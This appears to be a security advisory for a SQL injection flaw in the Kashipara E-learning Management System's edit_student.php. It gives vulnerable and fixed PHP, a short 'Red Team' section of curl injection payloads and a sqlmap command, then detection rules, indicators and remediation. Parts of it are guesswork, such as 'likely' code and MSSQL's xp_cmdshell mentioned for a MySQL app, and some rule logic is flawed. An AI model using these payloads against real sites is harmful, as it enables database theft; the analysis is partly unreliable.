CVE-2024-50835

Executive Summary

CVE-2024-50835 is a critical SQL Injection vulnerability discovered in the Kashipara E-learning Management System Project version 1.0. The flaw resides in the /admin/edit_student.php endpoint, where multiple parameters (cys, un, ln, fn, and id) are directly concatenated into SQL queries without proper sanitization or parameterization. This allows an unauthenticated remote attacker to inject arbitrary SQL commands, potentially leading to full database compromise, data exfiltration, and in some configurations, remote code execution via xp_cmdshell or similar database features. The vulnerability has a CVSS v3.1 base score of 9.8 (Critical) due to network exploitability, low attack complexity, no privileges required, and no user interaction needed. No official patch has been released by the vendor, making this a high-priority threat for any organization using this software.

Supply Chain & Package Security

This vulnerability is not related to any package manager (NPM, PyPI, Go, Ruby) but is a custom PHP application. The risk is amplified by the lack of vendor support and the absence of a patch, meaning organizations must rely on compensating controls or custom code fixes.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector (AV): Network - The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low - No special conditions or complex attack sequences are required.
• Privileges Required (PR): None - The attacker does not need to be authenticated.
• User Interaction (UI): None - The victim does not need to perform any action.
• Scope (S): Unchanged - The exploit cannot affect resources beyond the vulnerable component.
• Confidentiality (C): High - Full database read access is possible.
• Integrity (I): High - Database records can be modified or deleted.
• Availability (A): High - Database can be disrupted or destroyed.

Threat Level: Critical. The combination of network exploitability, no authentication, and full impact on confidentiality, integrity, and availability makes this a severe threat.

Deep Dive & Mechanics

The vulnerability exists in the edit_student.php script, which is part of the admin panel. The script likely constructs SQL queries by directly concatenating user-supplied input from GET or POST parameters (cys, un, ln, fn, id) without using prepared statements or escaping functions like mysqli_real_escape_string().

A typical vulnerable code pattern would be:

$id = $_GET['id'];
$query = "SELECT * FROM students WHERE id = $id";
$result = mysqli_query($conn, $query);

An attacker can inject a single quote (') to break out of the intended SQL syntax and append malicious SQL clauses. For example, injecting 1' OR '1'='1 into the id parameter would result in:

SELECT * FROM students WHERE id = 1' OR '1'='1

This would return all records from the students table. More advanced payloads can be used for UNION-based data extraction, blind SQL injection, or even file system access if the database user has sufficient privileges.

The cys, un, ln, and fn parameters are likely used in UPDATE queries to modify student records. An injection in these parameters could allow an attacker to modify arbitrary fields or escalate privileges.

Vulnerable vs. Patched Code

Vulnerable Code (PHP):

<?php
$id = $_GET['id'];
$cys = $_GET['cys'];
$un = $_GET['un'];
$ln = $_GET['ln'];
$fn = $_GET['fn'];

$query = "UPDATE students SET cys='$cys', un='$un', ln='$ln', fn='$fn' WHERE id=$id";
mysqli_query($conn, $query);
?>

Patched Code (PHP):

<?php
$id = intval($_GET['id']);
$cys = mysqli_real_escape_string($conn, $_GET['cys']);
$un = mysqli_real_escape_string($conn, $_GET['un']);
$ln = mysqli_real_escape_string($conn, $_GET['ln']);
$fn = mysqli_real_escape_string($conn, $_GET['fn']);

$query = "UPDATE students SET cys='$cys', un='$un', ln='$ln', fn='$fn' WHERE id=$id";
mysqli_query($conn, $query);
?>

Better Patched Code (Using Prepared Statements):

<?php
$stmt = $conn->prepare("UPDATE students SET cys=?, un=?, ln=?, fn=? WHERE id=?");
$stmt->bind_param("ssssi", $_GET['cys'], $_GET['un'], $_GET['ln'], $_GET['fn'], $_GET['id']);
$stmt->execute();
?>

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Download Kashipara E-learning Management System Project 1.0 from a trusted archive (e.g., SourceForge or GitHub).
2. Set up a LAMP/LEMP stack (Linux, Apache/Nginx, MySQL, PHP) with PHP 7.x.
3. Deploy the application and ensure the /admin/edit_student.php endpoint is accessible.

Exploitation Steps:

1. Identify Injection Point: Send a request with a single quote to test for SQL errors.

   curl "http://target.com/admin/edit_student.php?id=1'"
   

2. Confirm Injection: Use a boolean-based or time-based payload.

   curl "http://target.com/admin/edit_student.php?id=1 AND 1=1"
   curl "http://target.com/admin/edit_student.php?id=1 AND 1=2"
   

3. Extract Database Version:

   curl "http://target.com/admin/edit_student.php?id=1 UNION SELECT @@version,2,3,4,5-- -"
   

4. Extract Table Names:

   curl "http://target.com/admin/edit_student.php?id=1 UNION SELECT table_name,2,3,4,5 FROM information_schema.tables-- -"
   

5. Automated Exploitation with sqlmap:

   sqlmap -u "http://target.com/admin/edit_student.php?id=1" --batch --dbs
   

Blue Team (Defensive)

Detection Steps:

1. Monitor Web Server Logs: Look for SQL keywords like UNION, SELECT, OR, AND, --, #, /* in request parameters.
2. Deploy WAF Rules: Block requests containing SQL injection patterns.
3. Database Auditing: Enable MySQL general log or audit log to capture all queries.
4. Network Monitoring: Use IDS/IPS signatures to detect SQL injection attempts.

Honeypot Setup:

• Deploy a decoy database with fake student records.
• Monitor for unexpected queries to the students table.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /admin/edit_student.php with parameters containing SQL keywords.
  • Unusual SQL error messages in HTTP responses (e.g., "You have an error in your SQL syntax").
  • Outbound database connections from the web server to unexpected IPs.

• File IOCs:

  • Modified PHP files in the /admin/ directory.
  • Suspicious files uploaded via INTO OUTFILE or INTO DUMPFILE.

• Database IOCs:

  • New or modified user accounts in the users table.
  • Unusual queries in the MySQL general log.
  • Large data exports or unexpected SELECT * queries.

Detection Engineering

YARA Rule

rule CVE_2024_50835_SQLi_Attempt {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2024-50835 in Kashipara E-learning Management System"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-50835"
    strings:
        $sqli1 = /edit_student\.php\?.*(?:cys|un|ln|fn|id)=.*['\"]/ nocase
        $sqli2 = /edit_student\.php\?.*(?:UNION|SELECT|INSERT|UPDATE|DELETE|DROP|OR|AND)/ nocase
        $sqli3 = /edit_student\.php\?.*(?:--|#|\/\*)/ nocase
    condition:
        any of them
}

Sigma Rule

title: SQL Injection Attempt Against Kashipara E-learning Management System
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SQL injection attempts targeting CVE-2024-50835
author: Valters IT
date: 2024/01/01
logsource:
    category: webserver
    product: apache
    service: accesslog
detection:
    selection:
        cs-uri-query|contains:
            - 'cys='
            - 'un='
            - 'ln='
            - 'fn='
            - 'id='
        cs-uri-query|contains|all:
            - "'"
            - 'OR'
            - 'AND'
            - 'UNION'
            - 'SELECT'
    condition: selection
falsepositives:
    - Legitimate use of single quotes in names (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-50835 SQL Injection Attempt"; flow:to_server,established; content:"/admin/edit_student.php"; http_uri; pcre:"/(cys|un|ln|fn|id)=.*['\"]/Ui"; pcre:"/(UNION|SELECT|INSERT|UPDATE|DELETE|DROP|OR|AND)/Ui"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the Application: If possible, take the vulnerable system offline until a fix is applied.
2. Apply Virtual Patching: Use a Web Application Firewall (WAF) to block SQL injection patterns.
3. Restrict Network Access: Limit access to the /admin/ directory to trusted IPs only.

Long-Term Fixes:

1. Code Remediation: Replace all dynamic SQL queries with prepared statements (parameterized queries) in PHP.
2. Input Validation: Implement strict input validation for all parameters (e.g., id should be an integer).
3. Least Privilege: Ensure the database user used by the application has minimal privileges (no FILE, CREATE, DROP, or ALTER).
4. Upgrade: If a patched version becomes available, upgrade immediately.

Compensating Controls:

• Deploy a database activity monitoring (DAM) solution.
• Enable detailed logging and alerting for SQL errors.
• Conduct regular security code reviews.

Valters IT
Securing Digital Frontiers